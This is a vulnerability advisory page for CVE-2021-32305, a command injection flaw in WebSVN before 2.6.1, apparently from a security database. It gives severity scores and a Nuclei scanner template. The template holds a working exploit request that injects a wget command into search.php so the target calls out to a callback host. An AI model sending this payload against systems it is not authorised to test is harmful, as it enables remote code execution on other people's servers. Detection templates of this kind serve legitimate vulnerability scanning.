Websvn <2.6.1 - Remote Code Execution

2021-07-2700:24:35

ProjectDiscovery

github.com

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.956 High

EPSS

Percentile

99.4%

JSON

WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter.

id: CVE-2021-32305

info:
  name: Websvn <2.6.1 - Remote Code Execution
  author: gy741
  severity: critical
  description: WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade Websvn to version 2.6.1 or later to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html
    - https://github.com/websvnphp/websvn/pull/142
    - http://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32305
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-32305
    cwe-id: CWE-78
    epss-score: 0.96624
    epss-percentile: 0.99551
    cpe: cpe:2.3:a:websvn:websvn:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: websvn
    product: websvn
  tags: cve,cve2021,websvn,rce,oast,packetstorm

http:
  - raw:
      - |
        GET /search.php?search=%22;wget+http%3A%2F%2F{{interactsh-url}}%27;%22 HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a004730450221009ec1af813526ec351de2e4387e1431e02ad09de992301f04fd375ba73fb6f1a60220323dd195f75cbe7e968736f53295b34315c102e888ccae87108e2a25bcc60247:922c64590222798bb761d5b6d8e72950